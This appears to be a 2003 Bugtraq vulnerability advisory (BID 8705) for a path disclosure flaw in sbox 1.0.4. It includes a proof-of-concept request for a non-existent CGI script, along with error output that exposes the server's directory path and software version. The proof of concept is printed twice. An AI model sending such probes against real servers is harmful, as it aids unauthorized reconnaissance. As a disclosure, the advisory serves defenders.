SBox Path Disclosure Vulnerability
BID:8705
Info
SBox Path Disclosure Vulnerability
| Bugtraq ID: | 8705 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 25 2003 12:00AM |
| Updated: | Sep 25 2003 12:00AM |
| Credit: | Discovery of this vulnerability has been credited to Julio e2fsck Cesar <[email protected]>. |
| Vulnerable: |
sbox sbox 1.0.4 |
| Not Vulnerable: | |
Exploit / POC
SBox Path Disclosure Vulnerability
The following proof of concept has been supplied:
http://www.example.com/cgi-bin/non-existent.pl
Will result in:
Sbox Error
The sbox program encountered an error while processing this request.
Please note the time of the error, anything you might have been doing at
the time to trigger the problem, and forward the information to this
site's Webmaster ([email protected]).
Stat failed. /home/jcf/cgi-bin/a.pl: No such file or directory
sbox version 1.04
$Id: sbox.c,v 1.9 2000/03/28 20:12:40 lstein Exp $
The following proof of concept has been supplied:
http://www.example.com/cgi-bin/non-existent.pl
Will result in:
Sbox Error
The sbox program encountered an error while processing this request.
Please note the time of the error, anything you might have been doing at
the time to trigger the problem, and forward the information to this
site's Webmaster ([email protected]).
Stat failed. /home/jcf/cgi-bin/a.pl: No such file or directory
sbox version 1.04
$Id: sbox.c,v 1.9 2000/03/28 20:12:40 lstein Exp $